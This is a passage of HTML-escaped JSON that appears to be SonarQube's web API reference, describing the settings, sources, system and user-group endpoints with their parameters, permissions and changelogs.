\u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar.core.serverBaseURL\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;value\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Setting value. To reset a value, please use the reset web service.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;http://my-sonarqube-instance.com\u0026#34;, \u0026#34;maximumLength\u0026#34;: 4000 }, { \u0026#34;key\u0026#34;: \u0026#34;values\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Setting multi value. To set several values, the parameter must be called once for each value.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;values=firstValue\u0026amp;values=secondValue\u0026amp;values=thirdValue\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;values\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List settings values.\\u003Cbr\\u003EIf no value has been set for a setting, then the default value is returned.\\u003Cbr\\u003EThe settings from conf/sonar.properties are excluded from results.\\u003Cbr\\u003ERequires \u0026#39;Browse\u0026#39; or \u0026#39;Execute Analysis\u0026#39; permission when a component is specified.\\u003Cbr/\\u003ESecured settings values are not returned by the endpoint.\\u003Cbr/\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The secured settings values are no longer returned. Secured settings keys that have a value are now returned in setSecuredSettings array.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The settings from conf/sonar.properties are excluded from results.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;keys\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List of setting keys\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar.test.inclusions,sonar.exclusions\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/sources\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get details on source files. See also api/tests.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;raw\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get source code as raw text. Require \u0026#39;See Source Code\u0026#39; permission on file\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;File key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project:src/foo/Bar.php\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;scm\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get SCM information of source files. Require See Source Code permission on file\u0026#39;s project\\u003Cbr/\\u003EEach element of the result array is composed of:\\u003Col\\u003E\\u003Cli\\u003ELine number\\u003C/li\\u003E\\u003Cli\\u003EAuthor of the commit\\u003C/li\\u003E\\u003Cli\\u003EDatetime of the commit (before 5.2 it was only the Date)\\u003C/li\\u003E\\u003Cli\\u003ERevision of the commit (added in 5.2)\\u003C/li\\u003E\\u003C/ol\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;commits_by_line\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group lines by SCM commit if value is false, else display commits for each line, even if two consecutive lines relate to the same commit.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;from\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;First line to return. Starts at 1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;10\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;File key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project:/src/foo/Bar.php\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;to\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Last line to return (inclusive)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get source code. Requires See Source Code permission on file\u0026#39;s project\\u003Cbr/\\u003EEach element of the result array is composed of:\\u003Col\\u003E\\u003Cli\\u003ELine number\\u003C/li\\u003E\\u003Cli\\u003EContent of the line\\u003C/li\\u003E\\u003C/ol\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;from\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;First line to return. Starts at 1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;10\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;File key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project:/src/foo/Bar.php\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;to\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Last line to return (inclusive)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/system\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get system details, and perform some management actions, such as restarting, and initiating a database migration (as part of a system upgrade).\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;change_log_level\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Temporarily changes level of logs. New level is not persistent and is lost when restarting server. Requires system administration permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;level\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The new level. Be cautious: DEBUG, and even more TRACE, may have performance impacts.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TRACE\u0026#34;, \u0026#34;DEBUG\u0026#34;, \u0026#34;INFO\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;db_migration_status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Display the database migration status of SonarQube.\\u003Cbr/\\u003EState values are:\\u003Cul\\u003E\\u003Cli\\u003ENO_MIGRATION: DB is up to date with current version of SonarQube.\\u003C/li\\u003E\\u003Cli\\u003ENOT_SUPPORTED: Migration is not supported on embedded databases.\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_RUNNING: DB migration is under go.\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_SUCCEEDED: DB migration has run and has been successful.\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_FAILED: DB migration has run and failed. SonarQube must be restarted in order to retry a DB migration (optionally after DB has been restored from backup).\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_REQUIRED: DB migration is required.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;health\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Provide health status of SonarQube.\\u003Cp\\u003EAlthough global health is calculated based on both application and search nodes, detailed information is returned only for application nodes.\\u003C/p\\u003E\\u003Cp\\u003E \\u003Cul\\u003E \\u003Cli\\u003EGREEN: SonarQube is fully operational\\u003C/li\\u003E \\u003Cli\\u003EYELLOW: SonarQube is usable, but it needs attention in order to be fully operational\\u003C/li\\u003E \\u003Cli\\u003ERED: SonarQube is not operational\\u003C/li\\u003E \\u003C/ul\\u003E\\u003C/p\\u003E\\u003Cbr\\u003ERequires the \u0026#39;Administer System\u0026#39; permission or system passcode (see WEB_SYSTEM_PASS_CODE in sonar.properties).\\u003Cbr\\u003EWhen SonarQube is in safe mode (waiting or running a database upgrade), only the authentication with a system passcode is supported.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;info\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get detailed information about system configuration.\\u003Cbr/\\u003ERequires \u0026#39;Administer\u0026#39; permissions.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;Edition\u0026#39; field added to the response under the \u0026#39;System\u0026#39; section\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;Statistics\u0026#39; field has been removed from response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Becomes public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Becomes internal to easily update result\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;logs\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get system logs in plain-text format. Requires system administration permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Add support for deprecation logs in process property.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecate property \u0026#39;process\u0026#39; in favor of \u0026#39;name\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the logs to get\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;app\u0026#34;, \u0026#34;deprecatedKey\u0026#34;: \u0026#34;process\u0026#34;, \u0026#34;deprecatedKeySince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;access\u0026#34;, \u0026#34;app\u0026#34;, \u0026#34;ce\u0026#34;, \u0026#34;deprecation\u0026#34;, \u0026#34;es\u0026#34;, \u0026#34;web\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;migrate_db\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Migrate the database to match the current version of SonarQube.\\u003Cbr/\\u003ESending a POST request to this URL starts the DB migration. It is strongly advised to \\u003Cstrong\\u003Emake a database backup\\u003C/strong\\u003E before invoking this WS.\\u003Cbr/\\u003EState values are:\\u003Cul\\u003E\\u003Cli\\u003ENO_MIGRATION: DB is up to date with current version of SonarQube.\\u003C/li\\u003E\\u003Cli\\u003ENOT_SUPPORTED: Migration is not supported on embedded databases.\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_RUNNING: DB migration is under go.\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_SUCCEEDED: DB migration has run and has been successful.\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_FAILED: DB migration has run and failed. SonarQube must be restarted in order to retry a DB migration (optionally after DB has been restored from backup).\\u003C/li\\u003E\\u003Cli\\u003EMIGRATION_REQUIRED: DB migration is required.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;ping\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Answers \\\u0026#34;pong\\\u0026#34; as plain-text\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;restart\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Restarts server. Requires \u0026#39;Administer System\u0026#39; permission. Performs a full restart of the Web, Search and Compute Engine Servers processes. Does not reload sonar.properties.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get state information about SonarQube.\\u003Cp\\u003Estatus: the running status \\u003Cul\\u003E \\u003Cli\\u003ESTARTING: SonarQube Web Server is up and serving some Web Services (eg. api/system/status) but initialization is still ongoing\\u003C/li\\u003E \\u003Cli\\u003EUP: SonarQube instance is up and running\\u003C/li\\u003E \\u003Cli\\u003EDOWN: SonarQube instance is up but not running because migration has failed (refer to WS /api/system/migrate_db for details) or some other reason (check logs).\\u003C/li\\u003E \\u003Cli\\u003ERESTARTING: SonarQube instance is still up but a restart has been requested (refer to WS /api/system/restart for details).\\u003C/li\\u003E \\u003Cli\\u003EDB_MIGRATION_NEEDED: database migration is required. DB migration can be started using WS /api/system/migrate_db.\\u003C/li\\u003E \\u003Cli\\u003EDB_MIGRATION_RUNNING: DB migration is running (refer to WS /api/system/migrate_db for details)\\u003C/li\\u003E \\u003C/ul\\u003E\\u003C/p\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;upgrades\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Lists available upgrades for the SonarQube instance (if any) and for each one, lists incompatible plugins and plugins requiring upgrade.\\u003Cbr/\\u003EPlugin information is retrieved from Update Center. Date and time at which Update Center was last refreshed is provided in the response.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;ltsVersion\u0026#39; is deprecated from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;ltaVersion\u0026#39; is added to indicate the Long-Term Active Version\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;installedVersionActive\u0026#39; is added to indicate if the installed version is an active version\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/user_groups\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage user groups.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add_user\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a user to a group.\\u003Cbr /\\u003E\u0026#39;name\u0026#39; must be provided.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use POST /api/v2/authorizations/group-memberships instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a group.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use POST /api/v2/authorizations/groups instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; format in the response changes from integer to string.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;description\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Description for the new group. A group description cannot be larger than 200 characters.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default group for new users\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name for the new group. A group name cannot be larger than 255 characters and must be unique. The value \u0026#39;anyone\u0026#39; (whatever the case) is reserved and cannot be used.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-users\u0026#34;, \u0026#34;maximumLength\u0026#34;: 255 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a group. The default groups cannot be deleted.\\u003Cbr/\\u003E\u0026#39;name\u0026#39; must be provided.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use DELETE /api/v2/authorizations/groups instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove_user\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a user from a group.\\u003Cbr /\\u003E\u0026#39;name\u0026#39; must be provided.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use DELETE /api/v2/authorizations/group-memberships instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for user groups.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use GET /api/v2/authorizations/groups instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New parameter \u0026#39;managed\u0026#39; to optionally search by managed status\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response includes \u0026#39;managed\u0026#39; field.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated. Format changes from integer to string.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Paging response fields moved to a Paging object\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;default\u0026#39; response field has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;f\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of the fields to be returned in response. All the fields are returned by default.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;, \u0026#34;membersCount\u0026#34;, \u0026#34;managed\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;managed\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Return managed or non-managed groups. Only available for managed instances, throws for non-managed instances.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, 